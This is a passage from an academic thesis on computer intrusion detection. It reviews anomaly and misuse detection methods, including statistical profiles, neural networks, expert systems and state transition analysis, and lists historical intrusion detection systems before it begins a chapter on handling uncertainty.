
1. *Intrusive* but *not anomalous*. These are false negatives or type I errors. That is, the activity is intrusive but because it is not anomalous it is failed to be detected. These are called false negatives because the intrusion detection system falsely reports the absence of intrusion.

2. *Not intrusive* but *anomalous*. These are false positives or type II errors. That is, the activity is not intrusive, but because it is anomalous, it is reported as intrusive. These are called false positives because the intrusion detection system falsely reports intrusion.

3. *Not intrusive* and *not anomalous*. These are true negatives: the activity is not intrusive and neither it is reported as such.

4. *Intrusive* and *anomalous*. These are true positives: the activity is intrusive and is reported as such because it is also anomalous.

When false negatives are not desirable, thresholds defining an anomaly are set lower. This results in many false positives and reduces the efficiency of automated mechanisms
for intrusion detection. It creates additional burdens for the site security officer as well, who must investigate each incident and discard many of them.

Anomaly detectors tend to be computationally expensive since several metrics are often maintained which need to be updated against every system activity.

**Misuse Detection**

The main assumption of misuse detection is that there are attacks that can be precisely encoded in a manner that captures rearrangements and variations of activities that exploit the same vulnerability. In practice not *all* theoretically possible ways of a particular intrusion can be captured efficiently in an encoding. The primary limitation of this approach is that it looks only for *known* weaknesses, and may not be of much use in detecting unknown future intrusions.

Other limitations of this approach are due to what is audited on the target system. For example, current auditing practices do not record changes to program or process variables because of the potential impact on the overall system performance and the space required for storing audited information. If an intrusion can only be deduced from conditions on the values of program variables, one approach is to predict the conditional values based on the activity of the program leading up to those conditions. The general problem of deducing the value of program expressions by examining an activity trace may require intrusive instrumentation of the program and unbounded storage. Best estimates of such patterns are inherently inaccurate and result in false positives, false negatives, or both; hence incorporating uncertainty in the data.

Currently auditing mechanisms do not reveal the input or output data of a program. These mechanisms work in modern system designs by monitoring and logging system services requested by application programs. This often means that user level calls to read and write functions do not always appear in a one-to-one correspondence in the audit trail because of buffered I/O. Furthermore, passive methods of security breaches like wire-tapping cannot be detected directly because they do not produce detectable traces.

**1.7 Thesis Outline**

In this thesis we examine the application of two different methods of dealing with uncertainty in intrusion detection to improve the performance of the system and propose case-based reasoning as a new approach in detecting intrusions.
1.8. Summary

Chapter 2 provides a review of existing intrusion detection systems. Chapter 3 describes two different methods of dealing with uncertainty and proposes a way that they can be utilized to improve the performance of computer intrusion detection systems.

In Chapter 4 we introduce case-based reasoning and show how it provides a powerful method of representing intrusions and allows effective detection of intrusions using continuous case-based reasoning approach.

Chapter 5 describes the prototype of a case-based intrusion detection model for SunOS4.1.3 operating system developed in C Language. The software architecture is based on the model described in Chapter 4. Implementation and simulation results of the system are presented in Chapter 5. Finally Chapter 6 summarizes the thesis.

All of the materials discussed in this thesis, which are considered to be contributions to the field of computer intrusion detection by the thesis, have been published in national and international conferences. More than 90% of these publications have been produced by the author of this thesis.

1.8 Summary

Intrusion detection is an important component of the security mechanisms. It usually forms the last line of defense against security threats. An intrusion detection system is intended to detect breaches of security policy which cannot be easily detected using other methods. Intrusion detection is usually based on one of the two models: the anomaly and the misuse models. Both models make assumptions about the nature of the intrusive activity that can be detected. In this thesis we apply uncertain reasoning and case-based reasoning methods for enhancing the performance of intrusion detection systems and present a prototype that implements case-based reasoning approach.
Chapter 2

Review of Intrusion Detection

This chapter reviews the architecture of several prior intrusion detection systems. None of these systems use uncertainty handling methods directly to represent and detect intrusions. The generic model of intrusion detection proposed by Dorothy Denning[47], which is still accurate as an abstract model of most intrusion detection systems, is also described.

Parts of this chapter have been published as a technical report [55] and in the Proceedings of the Twelfth International Conference on Computer Communication [56].

2.1 Introduction

Many intrusion detection systems employ techniques for both anomaly and misuse detection. The techniques used in these systems to detect anomalies are varied. Some are based on techniques for predicting future patterns of behavior utilizing patterns seen before, while others rely mainly on statistical approaches to determine anomalous behavior. In both cases, observed behavior which does not match expected behavior is flagged anomalous. The main techniques used for misuse detection comprise expert systems, model-based reasoning systems, state transition analysis, and keystroke monitoring.

Some techniques, such as the statistical approach, have resulted in systems being used and tested extensively. Others, such as the model-based approach, are still in the research stage.

2.2 Anomaly Intrusion Detection

In this section systems and techniques are discussed which base their decision on the variance of predicted or expected behavior from the observed behavior. These techniques are not based on the occurrence of specific fixed activities.
2.2. Anomaly Intrusion Detection

2.2.1 Statistical Approaches

The following description, based on NIDES [134, 135], serves to illustrate the generic process of anomaly detection, which is primarily statistical in nature. The anomaly detector observes the activity of subjects and generates profiles for them representing their behavior. These profiles are designed to use little memory to store their internal state, and to be efficient to update because every profile may potentially be updated for every audit record.

As audit records are processed, the system periodically generates a value as a measure of abnormality of the profile. This value is a function of the abnormality values of all the measures comprising the profile. Therefore, if \( S_1, S_2, \ldots, S_n \) represent the abnormality values of the profile measures \( M_1, M_2, \ldots, M_n \) respectively, and a higher value of \( S_i \) indicates greater abnormality, a combining function of the individual \( S \) values may be a weighted sum of its squares, as in

\[
a_1 S_1^2 + a_2 S_2^2 + \ldots + a_n S_n^2, \quad a_i > 0
\]

where \( a_i \) reflects the relative weight of the metric \( M_i \). In general, the measures \( M_1, M_2, \ldots, M_n \) may not be mutually independent, and may require a more complex function for combining them.

There are several types of measures comprising a profile:

1. Activity Intensity Measures — measure the rate at which activity is progressing. They are generally used to detect abnormalities in bursts of behavior that might not be detected over longer term averages. An example is the number of audit records processed for a user in one minute.

2. Audit Record Distribution Measures — measure the distribution of all activity types in recent audit records. An example is the relative distribution of file accesses and I/O activity over the entire system usage for a particular user.

3. Categorical Measures — measure the distribution of a particular activity over categories, such as the relative frequency of logins from each physical location, the relative usage of each mailer, compiler, shell and editor in the system.

4. Ordinal Measures — measure activity with an outcome of a numeric value, such as the amount of CPU and I/O used by a particular user. While categorical measures count the 'number' of times an activity occurred, ordinal measures compute statistics on the numerical value of the activity outcome.
The current behavior of each user is maintained in a profile. At regular intervals the current profile is merged with the stored profile\(^1\). Anomalous behavior is determined by comparing the current profile with the stored profile.

**Pros and Cons of Statistical Intrusion Detection**

The advantage of anomaly intrusion detection is that well studied techniques in statistics can often be applied. For example, data points that lie beyond a multiple of the standard deviation on either side of the mean might be considered anomalous. The integral of absolute difference of two functions over time might also be used as an indicator of the deviation of one function with respect to the other.

Statistical intrusion detection systems also have several disadvantages:

- Statistical measures are insensitive to the order of occurrence of events. That is, a purely statistical intrusion detection system may miss intrusions that are indicated by sequential interrelationships among events.

- Purely statistical intrusion detection systems can be trained gradually to a point where behavior, once regarded abnormal, is considered normal. Intruders who know they are being monitored by anomaly detectors can train such systems. Therefore, most existing intrusion detection schemes combine both a statistical part to measure aberration of behavior, and a misuse part to monitor the occurrence of specific patterns of events.

- It is difficult to determine thresholds above which an anomaly should be considered intrusive. Setting a threshold too low results in false positives and setting it too high results in false negatives.

- There is a limit to the types of behavior which can be modeled using purely statistical methods. Application of statistical techniques to the formulation of anomalies requires the assumption that the underlying data comes from a quasi-stationary process, an assumption that may not always hold. More accurate models such as generalized Markov chains are more complex and time consuming to build.

**2.2.2 Feature Selection**

A difficult problem in anomaly intrusion detection is determining the correspondence between anomalous activity and intrusive activity. Given a set of heuristically chosen

\(^1\)This is true for NIDES [135, 134], but in some systems the profiles do not change once determined.
measures that can have a bearing on detecting intrusions, the subset that accurately predicts or classifies intrusions has to be determined. This is called feature selection. Determining the right measures is complicated because the appropriate subset of measures depends on the type of intrusions being detected. One set of measures is not likely to be adequate for all types of intrusions. Predefined notions of the relevance of particular measures to detect intrusions might miss intrusions unique to a particular environment. The set of optimal measures for detecting intrusions must be determined dynamically for best results.

Consider an initial list of \( n \) measures as potentially relevant to predicting intrusions. The number of possible subsets of these \( n \) measures, which is the power set of the measures, is \( 2^n \). Since the search space is exponentially related to the number of measures, an exhaustive search for the optimal subset of measures is not efficient. Heady et al. [82] present a genetic approach to searching through this space for the right subset of metrics. Using a learning classifier scheme they generate an initial set of measures which is refined in the rule evaluation mode using genetic operators of crossover and mutation. Subsets of the measures under consideration having low predictability of intrusions are weeded out and replaced by applying genetic operators to yield stronger measure subsets. The method assumes that combining higher predictability measure subsets allows searching the space of metrics more efficiently than other heuristic techniques.

For a survey of other feature selection techniques, the reader is referred to [51].

### 2.2.3 Combining Individual Anomaly Measures to Get a Single Measure

Assuming that the right set of anomaly metrics can somehow be determined, the next step is to determine how to combine the anomaly values of all the metrics to get a single number. One method is to use Bayesian statistics, applied either from first principles or through belief networks [59]. Another approach, used in NIDES [134, 135], is to combine them using covariance matrices.

#### Covariance Matrices

NIDES uses covariance matrices to account for the interrelationships among measures. If the measures \( A_1, \ldots, A_n \) are represented by the vector \( A \), then the compound anomaly measure is determined by

\[
A^T C^{-1} A
\]
2.2. Anomaly Intrusion Detection

where $C$ is the covariance matrix representing the dependence between each pair of anomaly measures $A_i$ and $A_j$.

2.2.4 Predictive Pattern Generation

Predictive pattern generation is a technique of anomaly detection based on the hypothesis that the sequences of events are not random but follow a discernible pattern. This results in better intrusion detection because it takes into account the interrelationship and ordering among events.

The approach of time-based inductive generalization described by Teng and Chen [38, 39, 188] uses time-based rules to characterize the normal behavior patterns of users. The rules, generated inductively, are modified dynamically during the learning phase and only "good" rules, i.e., rules with a high accuracy of prediction and a high level of confidence remain in the system. A rule has high accuracy of prediction if it is correct most of the time, and it has a high level of confidence if it can be successfully applied many times in observed data. An example of a rule generated by TIM [188] may be

$$E_1 \rightarrow E_2 \rightarrow E_3 \Rightarrow (E_4 = 95\%, \ E_5 = 5\%)$$

where $E_1$–$E_5$ are security events. This rule, which is based on previously observed data, says that for the pattern of observed events $E_1$ followed by $E_2$ followed by $E_3$, the probability of seeing $E_4$ is 95% and that of $E_5$ is 5%. TIM can generate more general rules incorporating temporal relationships among events.

The profile of the user consists of a set of rules generated inductively by observing user behavior. A deviation is detected if the observed sequence of events matches the left hand side of a rule but the following events deviate significantly from those predicted by the rule.

A primary weakness of this approach is that unrecognized patterns of behavior may not be recognized as anomalous because they may not match the left hand side of any rule.

The strengths claimed for this approach are:

1. Better handling of users with wide variance of behavior but strong sequential patterns.

2. Ability to focus on a few relevant security events rather than the entire login session that has been labeled suspicious.
2.2. Anomaly Intrusion Detection

3. Better sensitivity to detection of violations. Cheaters who attempt to train the system during its learning phase can be discerned more easily because of the semantics built into the rules.

2.2.5 Neural Networks

The basic approach here is to train a neural net on a sequence of information units [69] (from here on referred to as commands), each of which may be at a more abstract level than an audit record. The input to the net consists of the current command and the past $w$ commands; where $w$ is the size of the window of past commands which the neural net takes into account in predicting the next command. Once the neural net is trained on a set of representative command sequences of a user, the net constitutes the profile of the user, and the fraction of incorrectly predicted next events, which in some sense is a measure for the variance of the user behavior from his/her profile. A conceptual diagram depicting the use of neural nets is shown in Figure 2.1. The arrows directed at the input layer form the sequence of the last $w$ commands issued by the user. Every input in this idealized representation encodes several values or levels, each of which uniquely identifies a command. Therefore the values of the inputs, at the input layer, correspond exactly to the sequence of the last $w$ commands. The output layer conceptually consists of a single multi-level output that predicts the next command to be issued by the user.

For a good introduction to neural networks and learning in neural nets by back propagation, see the book by Winston [194].

Some of the drawbacks of this approach are:
1. The topology of the net and the weights assigned to each element of the net are determined only after considerable trial and error.

2. The size of the windows, \( w \), is yet another independent variable in the neural net design. If \( w \) is set too low, the net will do poorly and if it is set too high, the net will suffer from irrelevant data.

Some advantages of this approach are:

1. The success of this approach does not depend on any statistical assumptions about the nature of the underlying data.

2. Neural nets cope well with noisy data.

3. Neural nets can automatically account for correlations between the various measures that affect the output.

2.2.6 Bayesian Classification

Bayesian classification, described by Cheeseman [36], is technique of unsupervised classification of data. Its implementation, Autoclass [37], searches for classes in the given data using Bayesian statistical techniques. This technique attempts to determine the most likely processes that generate the data. It does not partition the given data into classes but defines a probabilistic membership function of each datum in the most likely determined classes.

Some advantages of this approach are:

1. Autoclass automatically determines the most probable number of classes, given the data.

2. No ad hoc similarity measures, stopping rules, or clustering criteria are required.

3. Continuous and discrete attributes may be freely mixed.

The concern in statistical intrusion detection is the classification of observed behavior. Techniques used till now have concentrated on supervised classification in which user profiles are created based on each user's observed behavior. The Bayesian classification method would permit the determination of the optimal number of classes (probabilistically computed), grouping users with similar profiles, and therefore yielding a natural classification of a set of users.
2.3 Misuse Intrusion Detection

This approach is new and has not yet been implemented and tested in an intrusion detection environment. It is not obvious how well Autoclass handles inherently sequential data such as an audit trail, and how well the statistical distributions built into Autoclass will handle user-generated audit trails. It is also not clear if this technique lends itself to online data, i.e., whether it requires all the input data at once. Being statistical in nature, it also suffers from some of the same generic setbacks of statistical systems, namely the difficulty in determining the right anomaly thresholds and the user ability to gradually influence class distributions.

2.3 Misuse Intrusion Detection

Misuse intrusion detection refers to the detection of intrusions by precisely defining them ahead of time and watching for their occurrence. Since statistical techniques alone are not adequate to detect all types of intrusions, there is a misuse component in most intrusion detection systems. The limitations of statistical anomaly detection systems are outlined in Section 2.2.1.

Intrusion scenarios (signatures) specify the features, conditions, arrangements and interrelationships among events that lead to a break-in or other misuse. Intrusion scenarios are not only useful to detect intrusions but also attempted intrusions. A partial satisfaction of a scenario may indicate an intrusion attempt.

A misuse intrusion detector which simply flags intrusions based on the pattern of input events assumes that the state transition of the system (computer) leads to a compromised state when exercised with the intrusion pattern, regardless of the initial state of the system. Therefore, simply specifying an intrusion scenario without the beginning state specification is most of the time sufficient to fully capture the intrusion. For a security model definition of an intrusion and a pattern oriented approach to its detection, see also Gilgor and Shieh [171]. The various approaches to misuse detection are described in the following sections.

2.3.1 Expert Systems in Intrusion Detection

The salient feature of using production/expert systems is the separation of control reasoning from the formulation of the problem solution.

An example of the use of such systems in intrusion detection is described by Snapp and Smaha [177]. This system encodes knowledge about attacks and intrusions as if-then implication rules in CLIPS [72] and asserts facts corresponding to audit trail
2.3. Misuse Intrusion Detection

Events. Rules are encoded to specify the conditions requisite for an attack in their if part. When all the conditions on the left side of a rule are satisfied, the actions on the right side (then part) are performed.

Practical problems in the effective application of expert systems in intrusion detection are the large amounts of data to be handled and the inherent ordering of the audit trail. The main goals of expert systems in intrusion detection can be classified into the following types:

1. to deduce symbolically the occurrence of an intrusion based on the given data. The chief problems in this use of expert/production systems are:

   (a) No inbuilt or natural handling of sequential order of data. That is, the working memory elements (fact base) that match the left sides of productions to determine eligible rules for firing are not recognized by the system to be sequential. Furthermore, the left side of a production rule specifies that its elements are connected with the AND relation. To match a natural ordering of facts within this framework, the Rete match procedures [67] test the ordering constraints for every eligible pair after the sets of working elements conforming to the left side of the rule have been generated.

   (b) The expertise incorporated in production/expert system is only as good as that of the security officer whose skills are modeled, which may not be comprehensive [132]. This is a practical consideration, and is probably a concern at the lack of a concerted effort on the part of security experts to attempt to distill their knowledge into a comprehensive security rule set. However, if rule sets need to be tailored and optimized for individual environments, then it might not be possible to circumvent this limitation.

   (c) This technique can only detect known intrusions.

   (d) There are software engineering concerns in the maintenance of the knowledge base [132]. That is, additions and deletions of rules in the rule set must take the interactions of the changes with the rest of rule sets into consideration.

2. to combine various intrusion measures and construct a cohesive picture of intrusions uncertain reasoning is required. The limitations of expert systems using uncertainty reasoning are well-known [152]. A model that combines models of misuse with reasoning to support conclusions about the occurrence of a misuse, is model-based intrusion detection proposed by Garvey and Lunt [71]. Model-based
intrusion detection does not replace the statistical anomaly portion of intrusion detection systems, but complements it.

### 2.3.2 State Transition Analysis

In this approach, proposed in STAT [155, 156] and implemented for UNIX in USTAT [93, 94], attacks are represented as a sequence of state transitions of the monitored system. States in the attack pattern correspond to system states and have boolean assertions associated with them that must be satisfied to transit to that state. Successive states are connected by arcs that represent the events required for changing state. The types of allowable events are built into the model and need not correspond one-to-one with audit records. Attack patterns can only specify a sequence of events so more complex ways of specifying events are not permitted. Furthermore, there is no general purpose mechanism to prune partial matches of attacks other than through assertion primitives built into the model. A state diagram is shown in Figure 2.2.

![Figure 2.2: A state transition diagram](image)

### 2.3.3 Keystroke Monitoring

This technique utilizes user keystrokes to determine the occurrence of an attack, or presence of an attacker. The primary means is to pattern match for specific keystroke sequences that indicate an attack. The disadvantages of this approach are the lack of reliable mechanisms for user keystroke capture without operating system support, and the myriad ways of expressing the same attack at the keystroke level. Furthermore, without a semantic analysis of the keystrokes, aliases provided in user shells such as the Cshell and Zshell can easily defeat this technique. User login shells often provide the facility of associating parameterized shorthand names for command sequences. These are called aliases and are similar to macro definitions. Because this technique only analyzes
2.3 Misuse Intrusion Detection

keystrokes, automated attacks which are a result of malicious program executions cannot be detected.

Some systems, such as Minòs [149], use statistical data gathered from user keystroke to recognize the user. The primary function of Minòs is to identify computer users, and therefore Minòs is a form of access control. It uses personal characteristics of users to identify them, and thus adds “what a user is” technology to the existing “what a user knows” (passwords) systems. Minòs also maintains extensive electronic audit trails detailing the computer actions of users.

2.3.4 Classification of Intrusion Signatures

This technique deals with “examination” of the audit trail in the context of misuse intrusion detection to find common features of the examination process to be used to categorize intrusion signatures. Proposed by Kumar [111, 112], it uses pattern matching to examine or monitor for signatures in the audit trail. In the context of misuse intrusion detection, a signature is the specification of features, conditions, arrangements and interrelationships among events that signify a break-in or other misuse, or their attempt.

This approach encodes signatures as a formal, structured representation of low-level system events that constitute the exploitation of the attack. The abstract classification hierarchy has four categories in which a category at a higher level subsumes the category below it in terms of the signatures that can be represented in the category. Precise bounds on matching in each category can be made by instantiating this abstract category. This classification, in increasing order of representability of signatures, is:

1. **Existence.** The fact that something existed is sufficient to detect the intrusion attempt. Existence pattern can be thought of as system state predicates that can be evaluated by inspecting the state of the system at a fixed time, rather than predicates on events. Examples include searching for specific permissions on special files, looking for the presence of certain files, or ensuring that file contents follow a specific format, both syntactic and semantic. Existence patterns look for evidence that may have been left behind by an intruder.

2. **Sequence.** The fact that several “high-level events” happened in strict sequence is sufficient to specify the intrusion. The time to process an event for sequence patterns depends on the events in the event stream that occurred before the event.

3. **RE Patterns.** These are extended regular expressions involving events and permit the direct specification of “AND” as a primitive to construct more complex
patterns. Synchronization between sub-patterns can be represented through the "AND" primitive. Regular expressions allow the use of non-determinism, repetition, and the use of alternation in pattern specification.

4. Other Patterns. This category contains all other intrusion signatures that cannot be represented directly in one of the earlier categories.

2.4 A Generic Intrusion Detection Model

Dorothy Denning, in 1987, established a model of intrusion detection independent of the system, type of input, and the specific intrusions to be monitored [47]. A brief description of the generic model is helpful in relating specific examples of intrusion detection systems presented in earlier sections to the model and viewing how these systems fit into or enhance it. The model is still accurate in describing the architecture of many current systems.

![Figure 2.3: A generic intrusion detection model](image)

Figure 2.3 illustrates the architecture of the generic intrusion detection model. The event generator is generic, the actual events may be audit records, network packets, or any other observable activity. These events serve as the basis for the detection of abnormality in the system. The Activity Profile is the global state of the intrusion detector. It contains variables that calculate the behavior of the system using predefined statistical measures. These variables are smart variables, i.e., each variable is associated with a pattern specification that serves to filter event records. The matched records provide data to update their value. For example, there may be a variable `NumErrs` representing
the statistical measure \texttt{sum} which calculates the total number of errors committed by the subject in a single login session. Each variable is associated with one of the statistical measures built into the system, and is responsible for updating its state based on the information contained in the matched event records.

The Activity Profile can also generate new profiles dynamically for newly created subjects and objects based on pattern templates. If new users are added to the system, or new files created, these templates instantiate new profiles for them. The Activity Profile can also generate anomaly records when some statistical variable takes on an anomalous value, for example when \texttt{NumErrs} takes on an inordinately high value. The Rule Set represents a generic inferencing mechanism and uses event records, anomaly records, and time expirations, among others, to control the activity of other components and to update their state. Denning [47], however, uses rule-based system to explain the inferencing mechanism and the nature of interaction with other components.

2.4.1 Comparison with Other Systems

The primary differences between the generic model described above and actual systems described in previous sections are:

- How the rules comprising the Rule Set are determined.
- Whether the Rule Set is encoded \textit{a priori} or if it can adapt and modify itself depending on the type of intrusions.
- The nature of interaction between the Rule Set and the Activity Profile.

The basic theme, however, of formulating statistical metrics for identifying intrusions, computing their value, and recognizing anomalies in their values appears in most of the systems built to-date. Conceptually, the Activity Profile module detects anomalies, while the Rule Set module performs misuse detection. Different techniques and methods can be substituted for these modules without altering the conceptual view substantially.

However, some newer techniques of anomaly detection do not map well into the internal details of the Activity Profile. For example, the neural network approach of anomaly detection does not easily fit the framework of smart variables and the calculation of a number for an anomaly value. Learning and adaptation of rule sets and profiles is not modeled well. It is also not clear in which module Time-based Inductive Model (TIM) [188] would be placed. TIM detects behavioral anomalies and therefore might be a candidate for being placed in the Activity Profile. On the other hand generating
rules and firing them, when conditions in the if part of the rules is satisfied, makes it a
candidate for being part of the Rule Set. Very recent approaches, like model-based [71]
approach, are too different to fit this framework directly.

2.5 Shortcomings of Current Intrusion Detection Systems

The following is a commentary on the general weaknesses of intrusion detection. Different
implementations rate differently along these axes of comparison.

No Generic Building Methodology. In general, the cost of building an intrusion
detection system from scratch is substantial. This is due to the lack of a structured
methodology for building these systems. No such structuring insights have emerged
from the field itself. This may partly be a result of a lack of common agreement
on the techniques for detecting intrusions and partly because intrusion detection
is a young field of research.

Efficiency. Systems have often attempted to detect every conceivable intrusion and
have not done well in practice. Anomaly detection, for example, is computationally
expensive because all profiles maintained by the system may need to be updated for
every event. Misuse detection has usually been implemented using expert system
shells that encode and match signatures. These shells often interpret their rule set
and therefore have a high runtime overhead. Furthermore, rule sets permit only
an indirect specification of the sequential interrelationships between events.

Portability. Intrusion detection systems have so far been produced for single en-
vironments and have proved difficult to use in other environments which may have
similar policies and concerns. For example, moving the detection machinery from
a system that provides a single level discretionary access control to a multi-level
secure system is nontrivial even though the same concerns may apply to both.
This is because much of the system has tended to be specific to the environment
being monitored. Each system is, in some sense, ad-hoc and custom-designed for
its target. Reuse and retargetting are difficult unless the system is designed in such
a generic manner that it may be inefficient or of limited power.

Upgradability. It is difficult to retrofit existing systems with newer and better
techniques of detection as they become available. For example, incorporating a
Bayesian belief network [53] to predict intrusions into an existing system would be difficult because of a lack of clear understanding of how this functionality must interact with the rest of the system.

*Maintenance.* The maintenance of intrusion detection systems often requires skills substantially more varied than a knowledge of security. Upgrading rule sets, for example, often requires specialized knowledge about the expert system rule language and an understanding of how the system manipulates the rules. This helps avoiding undesirable interactions between the rules already present in the system and those being added. Similar considerations apply to the addition of statistical metrics to the statistical component of the detector.

*Performance and Coverage Benchmarks.* No data has been published to date that quantifies the performance of intrusion detection systems for a realistic set of vulnerability data and operating environment. Furthermore, there is no published coverage data on any system, commercial or research. Coverage data would indicate the percentage of intrusions that the system would detect in a real environment. Vendors often treat coverage qualitatively. This is partly because it is difficult to accurately ascertain the kinds of intrusions and their frequency of occurrence in large environments, particularly the Internet. Nonetheless, there is no published coverage data on publicly available vulnerabilities.

*No Good Way to Test.* There is no easy way to test intrusion detection systems. Potential attack scenarios are difficult to simulate and known attacks difficult to duplicate. The lack of a common audit trail format between systems also hampers experimentation and comparison of the effectiveness of existing systems against common attack scenarios.

### 2.6 Developed Intrusion Detection Systems

Since 1980 when J. P. Anderson [14] first proposed the idea of detecting of anomalous behavior by examining audit data, several intrusion detection systems have been developed. A chronological list of developed systems follows:

- **Sytek** Simple intrusion detection tool 1985-86 [126]
- **Saturne** LAAS/CNRS - INRIA 1984 [49]
- **NAURS** - Network Auditing Usage Reporting System SRI International 1985-1987 xref:[126]

- **Discovery TRW Information Services** 1986 [186]

- **CDSA** - Clyde Digital Systems Audit Digital 1987 xref:[126]


- **CMW** - Compartmented Mode Workstation Mitre 1987 [154]

- **NIDX** - Network Intrusion Detection Expert Bellcore [24]

- **Haystack USAF, Tracor Applied Science** 1988 [174]

- **MIDAS** - Multics Intrusion Detection and Altering System NCSC 1988 [169]

- **ISOA** - Information Security Officer Assistant Planning Research Corporation (PRC) 1988-89 [140, 193, 192]

- **Wisdom & Sense LANL** 1989 [117, 118]

- **NADIR** - Network Anomaly Detection and Intrusion Reporter LANL 1989 [60, 96]

- **Computer Watch** Audit trail Analysis Tool AT&T Bell Laboratories 1989 [52]

- **COPS** Security Checker System Department of Computer Science, Purdue University 1989 [62, 64]

- **TIM** - Time-Based Inductive Learning DEC and UIUC 1990 [39, 187]

- **NSM** - Network Security Monitor UC-Davis 1990 [84]

- **Minòs** CCSR ADFA Feb. 1991 [149]

- **NICE** - Network Intrusion Countermeasure Engineering University of New Mexico 1991 [82, 83]

- **DIDS** - Distributed Intrusion Detection System UC-Davis, LLNL, USAF-CSC, Haystack Labs 1991 [176]
2.6. Developed Intrusion Detection Systems

- **RETISS** - Real Time Security System Informatics Department, University of Milan 1991 [35]
- **IDA** - Intrusion Detection Alert Motorola 1991 [153]
- **USTAT** - Unix State Transition Audit Tool UC-Santa Barbara 1992 [94, 93]
- **ID POLYCENTER** - Security Intrusion Detector for ULTRIX and SunOS (Formerly DECinspect) Digital 1993 [5]
- **Tripwire** - File System Integrity Checker Purdue University 1993 [103, 104, 105, 106]
- **SecureNet** - RACE SecureNet 1994 [180]
- **ASAX** - Advanced Security audit trail Analysis on uniX Faculte Universitaire Notre de la Paix & Institut dInformatique 1994 [76, 73, 75, 74, 143, 144, 145]
- **CMDS** - Computer Misuse Detection System Information Technology 1994 [159]
- **LIE** - LAN Indiscreet Eye Politecnico di Trrino 1995 [68]
- **SATAN** - Security Analysis Tool for Auditing Networks Dan Farmer and Wietse Venema 1995 [63]
- **Gabriel** - Network Probe Detector for SATAN Los Alamos Technologies 1995 [20]
- **NID** - Network Intrusion Detector Computer Security Technology Center 1995 [8]
- **NetProbe** (Formerly IDCA) EnGarde 1995 [146]
2.7 Summary

Several intrusion detection systems have been proposed and implemented since 1980. Most of them derive from the statistical intrusion detection model of Dorothy Denning [47]. Some of them, for example NIDX [24], Haystack [174], IDES [133, 136, 128, 134], MIDAS [169], Wisdom and Sense [117, 118] and CMDS [159] use the audit trail generated by a C2 or higher rated computer, for input. Others, for example NICE [82, 83] and NSM [85], try to detect intrusions by analyzing network connections and the flow of information in a network. Others still, such as DIDS [176, 175] and ASAX [143, 144, 145], have extended the scope of detection by distributing anomaly detection across a heterogeneous network and centrally analyzing partial results of these distributed sources to detect potential intrusions that may be missed by the individual analysis of each source.

Among non-statistical approaches to intrusion detection is the work by Teng [188, 187] that analyzes individual user audit trails and attempts to infer the sequential relationships between events; and the neural network modeling of behavior by Simonian et al. [69].

Approaches to misuse intrusion detection include language-based approaches to represent and detect intrusions such as ASAX [143, 144, 145], developing an Application Programming Interface, i.e., a set of library function calls employed for representing and detecting intrusions, such as STALKER [4] and classification of intrusion signatures [112, 113], expert systems such as MIDAS [169] and NIDX [24], and high level state machines to encode and match signatures such as STAT [156, 155] and USTAT [94, 93].

A promising approach for future intrusion detection systems might involve Bayesian classification, currently implemented in Autoclass [37, 36]. Audit trail reduction and browsing is described by Wetmore [190]. A non-parametric pattern recognition technique is proposed by Lankewicz [116] and distributed tracing of intruders is considered by Chen [181] is discussed. Audit trail reduction techniques permit the compression of audit data into coarser, more abstract events, which may be queried later by the security officer to retrieve information rapidly and efficiently. Non-parametric techniques for anomaly detection have the advantage that they make no assumptions about the statistical distribution of the underlying data, and are useful when such assumptions do not hold. Distributed tracing allows to trace actions on a network of computers all the way back.
to their actual origins.
Chapter 3

Handling Uncertainty in Intrusion Detection Systems

3.1 Introduction

Intrusion Detection (ID) is the identification of attempted or ongoing attacks on a computer system or network. Issues in ID research include data collection, data reduction, behavior classification, reporting and response. Although there are many significant open problems in ID research, this work focuses on behavior classification and reporting. Classification is the process of identifying attackers and intruders. Artificial Intelligence (AI) techniques have been used in many Intrusion Detection Systems (IDS) to perform these important tasks.

The importance of identifying possible attacks, in the data and information maintained by a corporation, has become a driving force in the development of numerous systems that perform computer security audit trail analysis [55, 56]. These systems are generally classified as "intrusion detection" systems. The primary purpose of an intrusion detection system is to expose computer security breaches in a timely manner.

Rule-based systems use production rules as their formalism for representing knowledge. In its simplest form, the production rule (also termed as "if-then" rule) consists of an antecedent, the "if" part, and a consequent, the "then" part. The interpretation of the rule is: given information establishing the truth of antecedent, the truth of consequent can be inferred. In practice, production rules are applied, in accordance with a system's control strategy, by matching rule antecedents against a database of facts; when a successful match is made, the consequent is added to the database.

However, expert knowledge is frequently suggestive rather than conclusive; the rules may therefore have to include the strength that is related to the conditional probabilities of the consequent given the antecedent, and of the antecedent given the consequent. In traditional intrusion detection rule-based systems this issue has not been addressed.
3.2. Objective

An intrusion detection system frequently makes error in its detection. An error is of the form of ‘false alarms’ (false positives), where the warning signal is produced without a real intrusion occurring, or ‘missed intrusions’ (false negatives) where the system fails to detect an ongoing intrusive activity.

False alarms and missed intrusions are due to the inexact nature of profiles and uncertainty in modeling the exact sequence of events for known intrusions, since intrusions are a combination of normal behavior. A well designed IDS should produce a very small number of false alarms and, on the other hand, should be able to detect maximum number of intrusions. However, the two goals are contradictory as reducing false alarms, in practice reduces ‘sensitivity’ of the system, hence resulting in frequent failure to detect intrusion cases. Therefore reducing missed intrusion cases can result in a more sensitive system and increased false alarms.

This chapter describes two new approaches to Intrusion Detection, namely Probabilistic and Evidential Reasoning. These approaches are different from traditional ones in that they are able to deal with the uncertainty in the intrusion detection systems. Section 3.2 illustrates the objective of this chapter and Sections 3.3 and 3.4 present probabilistic and evidential reasoning, respectively.

Parts of this chapter have been published in the Proceedings of the International Symposia on Soft Computing and International Industrial Automation [59], Ninth International Conference on Industrial & Artificial Intelligence & Expert Systems [57] and the Australian Conference on Information Security and Privacy [58].

3.2 Objective

Most of the current intrusion detection systems are built on the concept of detecting anomalous behavior of users with respect to observed behavioral norms. This approach may be seen as an unsupervised learning scheme for behavioral patterns with a subsequent pattern recognition approach to determine whether observed behavior falls inside or outside the pattern. In effect, a model of a user’s behavior is generated based on observations, but it is difficult to relate the model to specific (and specially proscribed) activities. Thus, validation of the behavior of IDS’ statistical algorithms may prove to be difficult.

As mentioned earlier, some intrusion detection systems include an expert system component that attempts to encode known system vulnerabilities and attack scenarios in its rule base (misuse detection). The IDS raises an alarm if observed activity matches
any of its encoded rules. However, expert system technology provides no support for developing models of intrusive behavior and encourages the development of *ad hoc* rules.

